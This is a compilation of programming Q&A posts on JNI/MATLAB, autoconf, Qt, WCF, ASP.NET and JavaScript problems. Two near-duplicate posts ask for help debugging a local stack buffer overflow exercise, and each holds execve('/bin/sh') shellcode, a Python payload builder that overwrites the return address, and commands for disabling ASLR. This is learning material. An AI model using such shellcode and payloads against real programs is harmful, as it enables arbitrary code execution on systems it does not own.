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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Matlab crashes on library initialize when called from Java

    - by David Sauter
    Hello everyone. The setup I have is I'm using a Java application to call native C-code with JNI, which in turn starts up the MATLAB runtime and calls functions on it (I know there are other solutions to call MATLAB methods from Java). The problem is that the MATLAB engine crashes at some point during the initialization and I don't know what's causing it exactly. The crash causes my jvm to terminate, I assume it's some kind of memory corruption. The C++ code calling MATLAB functions that is actually crashing is JNIEXPORT void JNICALL some_jni_vodoo_initializeLibrary(JNIEnv* env, jclass thisClass) { try { if (!mclInitializeApplication(NULL, 0)) { THROW_EXCEPTION(env, "Could not initialize the application properly."); return; } if (!<library>Initialize()) { THROW_EXCEPTION(env, "Could not initialize the library."); return; } } ... The function <library>Initialize() crashes here, the Java error log reads Stack Trace: [0] jmi.dll:0x793f4175(0x7934cdca, 1, 0x7937e67c "à;.y`[email protected] in C:\BUILD_ARE..", 0x792d6a32) [1] jvm.dll:0x792df9a5(0xc0000005, 0x79356791, 0x4961b400 "Ð\8y", 0x6d8b29de) [2] jvm.dll:0x792e0431(0x8b515008, 0x70f0e8ce, 0x8b5ffffa, 0xc25d5ec6) ------------------------------------------------------------------------ Fatal Java Exception detected at Fri Apr 30 11:08:08 2010 ------------------------------------------------------------------------ Configuration: MATLAB Version: 7.8.0.347 (R2009a) MATLAB License: unknown Operating System: Microsoft Windows Vista Window System: Version 6.0 (Build 6002: Service Pack 2) Processor ID: x86 Family 6 Model 10 Stepping 5, GenuineIntel Virtual Machine: Java is not enabled Default Encoding: windows-1252 Java is not enabled I really have no idea what could be wrong. Is there not enough memory from the jvm? I guess the problem is somehow related to Java, since calling the JNI functions from a simple test C++ program works fine... Thanks

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  • How to run autoconf in OSX linking to specified OS SDK

    - by kroko
    Hello! I have written a small command line tool that includes some GPL code. Everything runs smothly. Using os 10.6. The external code used has a config.h header file, made by calling autoconf. I'd like to deploy the tool to different OS versions. Thus config.h could look like // config.h #if MAC_OS_X_VERSION_MAX_ALLOWED == MAC_OS_X_VERSION_10_4 // autoconf created config.h content for 10.4 comes here #elif MAC_OS_X_VERSION_MAX_ALLOWED == MAC_OS_X_VERSION_10_5 // autoconf created config.h content for 10.5 comes here #elif MAC_OS_X_VERSION_MAX_ALLOWED == MAC_OS_X_VERSION_10_6 // autoconf created config.h content for 10.6 comes here #else #error "muahahaha" #endif What is the way to tell autoconf to use /Developer/SDKs/MacOSX10.XXXX.sdk/usr/ while generating the config.h? In order to test it I have run #!/bin/bash # for 10.6 export CC="/usr/bin/gcc-4.2" export CXX="/usr/bin/g++-4.2" export MACOSX_DEPLOYMENT_TARGET="10.6" export OSX_SDK="/Developer/SDKs/MacOSX10.6.sdk" export OSX_CFLAGS="-isysroot $OSX_SDK -arch x86_64 -arch i386" export OSX_LDFLAGS="-Wl,-syslibroot,$OSX_SDK -arch x86_64 -arch i386" export CFLAGS=$OSX_CFLAGS export CXXFLAGS=$OSX_CFLAGS export LDFLAGS=$OSX_LDFLAGS before calling ./configure on OS 10.6. I know that the configure script looks for libintl.h, which is not in the "out of box 10.6 / SDK", but is present in the local machine under /usr/local The config.h header file produced with method described above has info that libintl.h is in the system- thus "linking" autoconf only to SDK has failed. Is it happening because... "we don't have a crystal ball"? :). Or is it incorrect "setup"/flag-export before running autoconf, which I hope is the case? If so, then what would be the correct way to set up envvariables? Many thanks in advance.

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  • C++ resize a docked Qt QDockWidget programmatically?

    - by Zac
    I've just started working on a new C++/Qt project. It's going to be an MDI-based IDE with docked widgets for things like the file tree, object browser, compiler output, etc. One thing is bugging me so far though: I can't figure out how to programmatically make a QDockWidget smaller. For example, this snippet creates my bottom dock window, "Build Information": m_compilerOutput = new QTextEdit; m_compilerOutput->setReadOnly(true); dock = new QDockWidget(tr("Build Information"), this); dock->setWidget(m_compilerOutput); addDockWidget(Qt::BottomDockWidgetArea, dock); When launched, my program looks like this: http://yfrog.com/6ldreamidep (bear in mind the early stage of development) However, I want it to appear like this: http://yfrog.com/20dreamide2p I can't seem to get this to happen. The Qt Reference on QDockWidget says this: Custom size hints, minimum and maximum sizes and size policies should be implemented in the child widget. QDockWidget will respect them, adjusting its own constraints to include the frame and title. Size constraints should not be set on the QDockWidget itself, because they change depending on whether it is docked Now, this suggests that one method of going about doing this would be to sub-class QTextEdit and override the sizeHint() method. However, I would prefer not to do this just for that purpose, nor have I tried it to find that to be a working solution. I have tried calling dock-resize(m_compilerOutput-width(), m_compilerOutput-minimumHeight()), calling m_compilerOutput-setSizePolicy() with each of its options...nothing so far has affected the size. Like I said, I would prefer a simple solution in a few lines of code to having to create a sub-class just to change sizeHint(). All suggestions are appreciated.

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  • scripsharp reference web service / strongly type to results model

    - by user175528
    With scriptsharp (script#) is it possible to get strong typing when calling a service defined in my web app? The only way I can see is to: 1 - use linked / shared files to shadow copy my results classes / domain models across into my script# lib 2 - replicate my model across in the script# lib and use automapper to validate? 3 - use some .tt to code gen? also, even if I can do this, how do I get around the auto camel-casing script# does, when my service result (asmx) wont do this? (so my JSON response will comback as UserMessage, script# will have changed that to userMessage) basically, what I am looking to use script# to achieve is better compile time support against our domain model when calling and processing services in javascript, so something like this: Scriptlet public static class MyScriptlet { public static void Main() { MyService.Service1("hello", ProcessResponse);} public static void ProcessResponse(MyService.Service1ResponseData resp) { jQuery.Select('#Message').Text(resp.UserMessage); jQuery.Select('#Detail').Text(resp.UserDetail); } Service (in our web app) public class MyService { public class Service1ResponseData { public string UserMessage {get;set;} public string UserDetail {get;set;} } public Service1ResponseData Service1(string user) { return new Service1ResponseData() { UserMessage:"hi",UserDetail:"some text"}; } }

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  • Python class variables not defined with called from outside module

    - by Jimmy
    I am having some issues with calling a function outside of a module. The scenario is I have a small class library that is using turtle to do some drawing, the function within the module calls the classes also within the module and draws things, etc. This all works fine and dandy when I call the function from within the same file, but if I have another file and call myLib.scene() I get variable undefined errors. Code examples: a class class Rectangle(object): def __init__(self, pen, height=100, width=100, fillcolor=''): self.pen = pen self.height = height self.width = width self.fillcolor = fillcolor def draw(self, x, y): '''draws the rectangle at coordinates x and y''' self.pen.goto(x, y) if self.fillcolor: self.pen.fillcolor(self.fillcolor) self.pen.fill(True) self.pen.down() for i in range(0,4): self.pen.forward(self.height if i%2 else self.width) self.pen.left(90) and the calling function is this def scene(pen): rect = Rectangle(pen) rect.draw(100,100) when I put the line scene(turtle.Turtle()) into the same file I have no issues, the rectangle is drawn and everyone goes home happy. However, if I try to call it from a separate python file like so: myLib.scene(turtle.Turtle()) I get an error: NameError: global name 'pen' is not defined, in the for loop of my draw method. Even if the line above is in the same file it still bombs out. What is going on?

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • Cannot find CFML template for custom tag

    - by jerrygarciuh
    Hi folks, I am not a ColdFusion coder. Doing a favor for a friend who ported his CF site from a Windows server to Unix on GoDaddy. Site is displaying error: Cannot find CFML template for custom tag jstk. ColdFusion attempted looking in the tree of installed custom tags but did not find a custom tag with this name. The site as I found it has at document root /CustomTags with the jstk.cfm file and a set of files in cf_jstk My Googling located this You must store custom tag pages in any one of the following: The same directory as the calling page; The cfusion\CustomTags directory; A subdirectory of the cfusion\CustomTags directory; A directory that you specify in the ColdFusion Administrator So I have Tried creating placing /CustomTags in /cfusion/CustomTags Tried copying /cfusion/CustomTags to above document root Tried copying jstk.cfm and subfolders into same directory as calling file(index.cfm). Update: Per GoDaddy support I have also tried adding the following to no effect: Can any one give me some tips on this or should I just tell my guy to look for a CF coder? Thanks! JG

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  • Getting browser to make an AJAX call ASAP, while page is still loading

    - by Chris
    I'm looking for tips on how to get the browser to kick off an AJAX call as soon as possible into processing a web page, ideally before the page is fully downloaded. Here's my approximate motivation: I have a web page that takes, say, 5 seconds to load. It calls a web service that takes, say, 10 seconds to load. If loading the page and calling the web service happened sequentially, the user would have to wait 15 seconds to see all the information. However, if I can get the web service call started before the 5 second page load is complete, then at least some of the work can happened in parallel. Ideally I'd like as much of the work to happen in parallel as possible. My initial theory was that I should place the AJAX-calling javascript as high up as possible in the web page HTML source (being mindful of putting it after the jquery.js include, because I'm making the call using jquery ajax). I'm also being mindful not to wrap the AJAX call in a jquery ready event handler. (I mention this because ready events are popular in a lot of jquery example code.) However, the AJAX call still doesn't seem to get kicked off as early as I'm hoping (at least as judged by the Google Chrome "Timeline" feature), so I'm wondering what other considerations apply. One thing that might potentially be detrimental is that the AJAX call is back to the same web server that's serving the original web page, so I might be in danger of hitting a browser limit on the # of HTTP connections back to that one machine? (The HTML page loads a number of images, css files, etc..)

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  • LogonUser -> CreateProcessAsUser from a system service

    - by Josh K
    I've read all the posts on Stack Overflow about CreateProcessAsUser and there are very few resolved questions, so I'm not holding my breath on this one. But it seems like I'm definitely missing something, so it might be easy. The target OS is Windows XP. I have a service running as "Local System" from which I want to create a process running as a different user. For that user, I have the username and password, so LogonUser goes fine and I get a token for the user (in this case, an Administrator account.) I then try to use that token to call CreateProcessAsUser, but it fails because that token does not come with SeAssignPrimaryTokenPrivilege - however, it does have SeIncreaseQuotaPrivilege. (I used GetTokenInformation to dump all the privileges associated with that token.) According to the MSDN page for CreateProcessAsUser, you need both privileges in order to call CreateProcessAsUser successfully. It also says you don't need the SeAssignPrimaryTokenPrivilege if the token you pass in to CreateProcessAsUser() is a "restricted version of the calling process' primary token", which I can create with CreateRestrictedToken(), but then it will be associated with the Local System user and not the target user I'm trying to run the process as. So how would I create a logon token that is both a restricted version of the calling process' primary token, AND is associated with a different user? Thanks! Note that there is no need for user interaction in here - it's all unattended - so there's no need to do stuff like grabbing WINSTA0, etc.

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  • How to perform two-way data binding of controls in a user control inside a FormView

    - by Sandor Drieënhuizen
    I'm trying to perform two-way data binding on the controls in my user control, which is hosted inside a FormView template. FormView: <asp:ObjectDataSource runat="server" ID="ObjectDataSource" TypeName="WebApplication1.Data" SelectMethod="GetItem" UpdateMethod="UpdateItem"> </asp:ObjectDataSource> <asp:FormView runat="server" ID="FormView" DataSourceID="ObjectDataSource"> <ItemTemplate> <uc:WebUserControl1 runat="server"></uc:WebUserControl1> </ItemTemplate> <EditItemTemplate> <uc:WebUserControl1 runat="server"></uc:WebUserControl1> </EditItemTemplate> </asp:FormView> User control: <%@ Control Language="C#" ... %> <asp:TextBox runat="server" ID="TitleTextBox" Text='<%# Bind("Title") %>'> </asp:TextBox> The binding works fine when the FormView is in View mode but when I switch to Edit mode, upon calling UpdateItem on the FormView, the bindings are lost. I know this because the FormView tries to call an update method on the ObjectDataSource that does not have an argument called 'Title'. I tried to solve this by implementing IBindableTemplate to load the controls that are inside my user control, directly into the templates (just like I had entered them declaratively like in the code above). However, when calling UpdateItem in edit mode, the container that gets passed into the ExtractValues method of the template, does not contain the TextBox anymore. It did in view mode! I have found some questions on SO that relate to this problem but they are rather dated and they don't provide any answers that helped me solve this problem. How do you think I could solve this problem? It seems to be such a simple requirement but apparently it's more like opening a can of worms...

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  • What is the WCF equivalent?

    - by klausbyskov
    I am trying to port some code that is based on WSE3.0 to WCF. Basically, the old code has the following configuration: <microsoft.web.services3> <diagnostics> <trace enabled="true" input="InputTrace.webinfo" output="OutputTrace.webinfo" /> </diagnostics> <tokenIssuer> <statefulSecurityContextToken enabled="false" /> </tokenIssuer> </microsoft.web.services3> When calling the same service through my "Service Reference" I get this error: Request does not contain required Security header My binding looks like this: <basicHttpBinding> <binding name="LegalUnitGetBinding" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false" bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard" maxBufferSize="65536" maxBufferPoolSize="524288" maxReceivedMessageSize="65536" messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered" useDefaultWebProxy="true"> <readerQuotas maxDepth="32" maxStringContentLength="8192" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384" /> <security mode="Transport"> </security> </binding> </basicHttpBinding> From what I have understood, the service I'm calling only requires an SSL connection, since it receives a username and password as part of a request parameter. Any help or suggestions would be greatly appreciated.

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  • JNI: Long-object created with wrong value

    - by Torbjörn Eklund
    Hi! I am writing a c-jni function in Android, and I am having problems with creating a Long-object. I have succeeded in calling the constructor, but when I read the value of the object with longValue, I get the wrong result. jmethodID longConstructor; jmethodID longGetLongValue; jclass cls; jobject obj; // Create a object of type Long. cls = (*env)->FindClass(env,"java/lang/Long"); longConstructor = (*env)->GetMethodID(env,cls,"<init>","(J)V"); obj = (*env)->NewObject(env, cls, longConstructor, 4242); // Get the value by calling the function longValue. longGetLongValue= (*env)->GetMethodID(env,cls,"longValue","()J"); long return_long_value = (*env)->CallLongMethod(env, obj, longGetLongValue); // Log the result. LOGD("%li", return_long_value); I would expect that the above code would print 4242 in the log, however the value that is printed in the log is 1691768. Does anybody have an idea on why 4242 is not written in the log?

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  • presentModalViewController does not want to work when called from a protocol method

    - by johnbdh
    I have a subview that when double tapped a protocol method on the subview's parent view controller is called like this... - (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event { UITouch *theTouch = [touches anyObject]; if (theTouch.tapCount == 1) { } else if (theTouch.tapCount == 2) { if ([self.delegate respondsToSelector:@selector(editEvent:)]) { [self.delegate editEvent:dictionary]; } } } Here is the protocol method with the dictionary consuming code removed... - (void)editEvent:(NSDictionary){ EventEditViewController *eventEditViewController = [[EventEditViewController alloc] initWithNibName:@"EventEditViewController" bundle:nil]; eventEditViewController.delegate = self; navigationController = [[UINavigationController alloc] initWithRootViewController:eventEditViewController]; [self presentModalViewController:navigationController animated:YES]; [eventEditViewController release]; } The protocol method is called and runs without any errors but the modal view does not present itself. I temporarily copied the protocol method's code to an IBAction method for one of the parent's view button's to isolate it from the subview. When I tap this button the modal view works fine. Can anyone tell me what I am doing wrong? Why does it work when executed from a button on the parent view, and not from a protocol method called from a subview. Here is what I have tried so far to work around the problem... Restarted xCode and the simulator Ran on the device (iTouch) Presenting eventEditViewController instead of navigationController Using Push instead of presentModal. delaying the call to the protocol with performSelector directly to the protocol, to another method in the subview which calls the protocol method, from the protocol method to another method with the presentModal calls. Using a timer. I have it currently setup so that the protocol method calls a known working method that presents a different view. Before calling presentModalViewController it pops a UIAlertView which works every time, but the modal view refuses to display when called via the protocol method. I'm stumped. Perhaps it has something to do with the fact that I am calling the protocol method from a UIView class instead of a UIViewController class. Maybe I need to create a UIViewController for the subView?? Thanks, John

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  • Linking session state between servlets and EJBs?

    - by wilth
    Hello, I have servlets (in a web module) that access stateless EJB beans (in an EJB module). The EJB module is built using SEAM. Users can have different roles and the EJB services check this using Seam's Identity. I also use a customized Authenticator (although this might not be relevant here). I noticed problems with this approach and I'm suspecting that the session context in the servlets is not "linked" with the session context in the EJB beans. What I think happens is something like: User Joe access servlet A and is assigned Session W1. Servlet A calls a login function on an EJB, using the EJB session E1. Later, user Mary accesses servlet A and is assigned Session W2. When calling the EJBs, however, the EJB session E1 is used and therefore Mary is authenticated as Joe. What also happens is that when Joe is calling the servlet twice in rapid succession, the same session W1 is used, but two different sessions E1 and E2 in the business layer, causing errors. I might be wrong in my suspicion, but maybe I'm actually expecting these "sessions" to be linked together while they in fact are not. If this is true, is there any way of achieving this? I could - of course - use stateful beans and save the authentication information in the beans, but this would break the "Identity" concept of Seam (and in general, it would be preferable to be able to use the Session context in my EJB beans). Any help and pointers are very welcome - thanks! Technology: EJB3, Seam 2.1.2. The servlets are actually the server-side of a GWT app, although I don't think this matters much. I'm using JBoss 5.

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  • Apache Axis: How to set call properties using code generated from wsdl2java?

    - by marc esher
    I'm using Apache Axis 1.4 (yes, the old one), with wsdl2java to generate the client code for a webservice. I'd like to set additional properties on the Call object before calling methods on the generated stub. For example, I'd like to set username, password, perhaps add or modify existing headers, and change the client handlers to use different implementations. Currently, I'm doing this by modifying the generated Stub class and calling the appropriate setters. However, I'd like to achieve this without touching the generated files. I"m confused, though, because the Stub class has: createCall() which creates the call object and sets some properties. Currently, this is where I'm modifying the generated source code; then, the Stub contains: clientMethod1(){ blahblah Call _call = createCall(); ...... _call.invoke(); } So I can't see a way that I can use the serviceLocator to get a stub, modify the properties I want to modify, and then use the stub to call the methods I want to call, given that the stub methods call createCall() and then call invoke. There doesn't appear to be a way to intercept the new Call object before it's invoked. So: How do you modify properties in the call without modifying the generated Stub class's source code? Thanks for info or even pointers to existing documentation.

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  • Regarding Toplink Fetching Policy

    - by Chandu
    Hi, I'm working for a Swing Project and the technologies used are netbeans with Toplink essentials, mysql. The Problem I'm facing is the entity object dosn't get updated after insertions take place while calling a getter collection of the foreign key property. Ex: I have 2 tables Table1,Table2. I have sno column, id column as a primary key in Table1 & is Foreign Key in Table2. Through find method I just get the particular sno object(existed in table 1) set some values persisted to table2 & committed the transaction. When I select the same sno object through find method & gets its collection from Table2 through the getTable2Collection() of the bean(as it is already created in bean by toplink essential) I'm unable to get the latest added record except that all other records of it are displayed. After I close the application & opening it then the new record gets reflected while calling the same sno through the above process. I came to know that this is a kind of lazy fetching and there should be some way of fetch policy to be changed to make the entity object get updated with the changes. So Please help me in this regard. Regards, Chandu

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  • Snow Leopard & LSUIElement -> application not activating properly, window not "active" despite being

    - by Frank R.
    Hi, I'm running into a few problem with a background application that uses LSUIElement=1 to hide its dock item, menu bar and prevent it from appearing in the Command-Tab application switcher. It seems to be a Snow Leopard only problem. The application places an NSStatusItem in the menu bar and pops up a menu when clicked on. Selecting "Preferences..." should bring up an NSWindow with the preferences. The first thing that doesn't seem to work is that the Window does not get ordered in at the front, but appears behind all other application windows. I tried to fix this by calling [[NSApplication sharedApplication] activateIgnoringOtherApps: YES] but that didn't work. After a while I figured out that the menu is blocking the message to the run loop from being sent, so I wrote another method on the MainController and sent the message with a delay: [self performSelector:@selector(setFront:) withObject: [preferencesController window] afterDelay:1.0]; -(void)setFront: (id) theWindow { [[NSApplication sharedApplication]activateIgnoringOtherApps:YES]; [theWindow orderFrontRegardless]; [theWindow makeKeyWindow]; [[NSApplication sharedApplication] activateIgnoringOtherApps:YES]; } Note the send-every-possible-message-to-make-it-do-what-it-should-be-doing-approach. This works, kind-of, the window is brought to the front on top of all other windows from all apps, BUT most of the time it isn't active, meaning it's title bar is greyed out. Clicking on the title bar won't make the window active either. Clicking INSIDE of the window will make it active!? This all didn't seem to be a problem in Leopard; just calling activateIgnoringOtherApps and making the window key seemed to work just fine. In Snow Leopard there is a new API designed to replace LSUIElement that is supposed to emulate its behaviour: http://developer.apple.com/mac/library/releasenotes/cocoa/appkit.html I've played around with that, but it's SL-only and I haven't been able to get LSUIElement being set. Any help would be greatly appreciated!

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  • CodeDom : compile partial class

    - by James
    I'm attempting to compile code in a text file to change a value in a TextBox on the main form of a WinForms application. Ie. add another partial class with method to the calling form. The form has one button (button1) and one TextBox (textBox1). The code in the text file is: this.textBox1.Text = "Hello World!!"; And the code: namespace WinFormCodeCompile { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { // Load code from file StreamReader sReader = new StreamReader(@"Code.txt"); string input = sReader.ReadToEnd(); sReader.Close(); // Code literal string code = @"using System; using System.Windows.Forms; namespace WinFormCodeCompile { public partial class Form1 : Form { public void UpdateText() {" + input + @" } } }"; // Compile code CSharpCodeProvider cProv = new CSharpCodeProvider(); CompilerParameters cParams = new CompilerParameters(); cParams.ReferencedAssemblies.Add("mscorlib.dll"); cParams.ReferencedAssemblies.Add("System.dll"); cParams.ReferencedAssemblies.Add("System.Windows.Forms.dll"); cParams.GenerateExecutable = false; cParams.GenerateInMemory = true; CompilerResults cResults = cProv.CompileAssemblyFromSource(cParams, code); // Check for errors if (cResults.Errors.Count != 0) { foreach (var er in cResults.Errors) { MessageBox.Show(er.ToString()); } } else { // Attempt to execute method. object obj = cResults.CompiledAssembly.CreateInstance("WinFormCodeCompile.Form1"); Type t = obj.GetType(); t.InvokeMember("UpdateText", BindingFlags.InvokeMethod, null, obj, null); } } } } When I compile the code, the CompilerResults returns an error that says WinFormCodeCompile.Form1 does not contain a definition for textBox1. Is there a way to dynamically create another partial class file to the calling assembly and execute that code? I assume I'm missing something really simple here.

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  • HttpModule.Init - safely add HttpApplication.BeginRequest handler in IIS7 integrated mode

    - by Paul Smith
    My question is similar but not identical to: http://stackoverflow.com/questions/1123741/why-cant-my-host-softsyshosting-com-support-beginrequest-and-endrequest-event (I've also read the mvolo blog referenced therein) The goal is to successfully hook HttpApplication.BeginRequest in the IHttpModule.Init event (or anywhere internal to the module), using a normal HttpModule integrated via the system.webServer config, i.e. one that doesn't: invade Global.asax or override the HttpApplication (the module is intended to be self-contained & reusable, so e.g. I have a config like this): <system.webServer> <validation validateIntegratedModeConfiguration="false"/> <modules> <remove name="TheHttpModule" /> <add name="TheHttpModule" type="Company.HttpModules.TheHttpModule" preCondition="managedHandler" /> So far, any strategy I've tried to attach a listener to HttpApplication.BeginRequest results in one of two things, symptom 1 is that BeginRequest never fires, or symptom 2 is that the following exception gets thrown on all managed requests, and I cannot catch & handle it from user code: Stack Trace: [NullReferenceException: Object reference not set to an instance of an object.] System.Web.PipelineModuleStepContainer.GetEventCount(RequestNotification notification, Boolean isPostEvent) +30 System.Web.PipelineStepManager.ResumeSteps(Exception error) +1112 System.Web.HttpApplication.BeginProcessRequestNotification(HttpContext context, AsyncCallback cb) +113 System.Web.HttpRuntime.ProcessRequestNotificationPrivate(IIS7WorkerRequest wr, HttpContext context) +616 Commenting out app.BeginRequest += new EventHandler(this.OnBeginRequest) in Init stops the exception of course. Init does not reference the Context or Request objects at all. I have tried: Removed all references to HttpContext.Current anywhere in the project (still symptom 1) Tested removing all code from the body of my OnBeginRequest method, to ensure the problem wasn't internal to the method (= exception) Sniffing the stack trace and only calling app.BeginRequest+=... when if the stack isn't started by InitializeApplication (= BeginRequest not firing) Only calling app.BeginRequest+= on the second pass through Init (= BeginRequest not firing) Anyone know of a good approach? Is there some indirect strategy for hooking Application_Start within the module (seems unlikely)? Another event which a) one can hook from a module's constructor or Init method, and b) which is subsequently a safe place to attach BeginRequest event handlers? Thanks much

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  • WCF: How can I send data while gracefully closing a connection?

    - by mafutrct
    I've got a WCF service that offers a Login method. A client is required to call this method (due to it being the only IsInitiating=true). This method should return a string that describes the success of the call in any case. If the login failed, the connection should be closed. The issue is with the timing of the close. I'd like to send the return value, then immediately close the connection. string Login (string name, string pass) { if (name != pass) { OperationContext.Current.Channel.Close (); return "fail"; } else { return "yay"; } } The MSDN states that calling Close on the channel causes an ICommunicationObject to gracefully transition from the Opened state to the Closed state. The Close method allows any unfinished work to be completed before returning. For example, finish sending any buffered messages). This did not work for me (or my understanding is wrong), as the close is executed immediately - WCF does not wait for the Login method to finish executing and return a string but closes the connection earlier. Therefore I assume that calling Close does not wait for the running method to finish. Now, how can I still return a value, then close?

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  • Returning from dll (Asynchronous sockets)

    - by Juha
    I am trying to do a simple http-server in (c++) dll-file that I can use from managed (C#) application with P/Invoke. I was trying to do this with asynchronous functions (WSAAsyncSelect() and stuff), so that I could manage server by calling functions inside dll whenever needed and after that it would return to my main program. Now I'm not sure if that is even possible. It seems that "main function" in dll, the function that starts the server, has to include message loop or something and since it's a loop, it doesn't return from dll ever. Could I somehow do this message stuff in my managed application and call some function in dll when there is something to do? Or is it even possible to do this stuff in one thred? I would really like to avoid all concurrency stuff. The dll looks now basicly the same as here, main function is the one that I call from managed C# program and would like to return to there after calling the function. http://www.winsocketdotnetworkprogramming.com/winsock2programming/winsock2advancediomethod5b.html I'm quite noob in windows programming, and never even heard of this message-queue or message-loop.

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  • ASP.NET putting dynamic controls on page in reverse messes up events

    - by Jimmy Geels
    I have this weird problem when putting textboxes on the page in reverse. The whole event system is messed up. Changing one textbox fires TextChange on all textboxes. I can fix this by putting the controls in a list first and then call add while iterating trough the list in reverse. But i just want to know why this fails. Heres some code (.net 2.0) public partial class _Default : Page { protected void Page_Load(object sender, EventArgs e) { InitFields(); } private void InitFields() { int nrFields; //We have a static textbox called nrElements, this determines the number //of fields to initialize if (int.TryParse(nrElements.Text, out nrFields)) { //Put all the dynamic fields on the screen in reverse order foreach(Control t in GetDynamicFields(nrFields)) { //Calling Controls.Add works fine //Calling Controls.AddAt messes up the events //Try changing different textboxes plhFields.Controls.AddAt(0, t); } } } private IEnumerable<Control> GetDynamicFields(int nrFields) { for (int i = 0; i < nrFields; i++) { TextBox txtBox = new TextBox(); txtBox.ID = string.Format("dynTextBox{0}", i.ToString()); txtBox.AutoPostBack = true; txtBox.TextChanged += t_TextChanged; yield return txtBox; } } private void t_TextChanged(object sender, EventArgs e) { TextBox txtBox = sender as TextBox; if (txtBox != null) txtBox.Text = txtBox.Text + "Changed "; } }

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  • When does invoking a member function on a null instance result in undefined behavior?

    - by GMan
    This question arose in the comments of a now-deleted answer to this other question. Our question was asked in the comments by STingRaySC as: Where exactly do we invoke UB? Is it calling a member function through an invalid pointer? Or is it calling a member function that accesses member data through an invalid pointer? With the answer deleted I figured we might as well make it it's own question. Consider the following code: #include <iostream> struct foo { void bar(void) { std::cout << "gman was here" << std::endl; } void baz(void) { x = 5; } int x; }; int main(void) { foo* f = 0; f->bar(); // (a) f->baz(); // (b) } We expect (b) to crash, because there is no corresponding member x for the null pointer. In practice, (a) doesn't crash because the this pointer is never used. Because (b) dereferences the this pointer (this->x = 5;), and this is null, the program enters undefined behavior. Does (a) result in undefined behavior? What about if both functions are static?

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  • Can I copy/clone a function in JavaScript?

    - by Craig Stuntz
    I'm using jQuery with the validators plugin. I would like to replace the "required" validator with one of my own. This is easy: jQuery.validator.addMethod("required", function(value, element, param) { return myRequired(value, element, param); }, jQuery.validator.messages.required); So far, so good. This works just fine. But what I really want to do is call my function in some cases, and the default validator for the rest. Unfortunately, this turns out to be recursive: jQuery.validator.addMethod("required", function(value, element, param) { // handle comboboxes with empty guids if (someTest(element)) { return myRequired(value, element, param); } return jQuery.validator.methods.required(value, element, param); }, jQuery.validator.messages.required); I looked at the source code for the validators, and the default implementation of "required" is defined as an anonymous method at jQuery.validator.messages.required. So there is no other (non-anonymous) reference to the function that I can use. Storing a reference to the function externally before calling addMethod and calling the default validator via that reference makes no difference. What I really need to do is to be able to copy the default required validator function by value instead of by reference. But after quite a bit of searching, I can't figure out how to do that. Is it possible? If it's impossible, then I can copy the 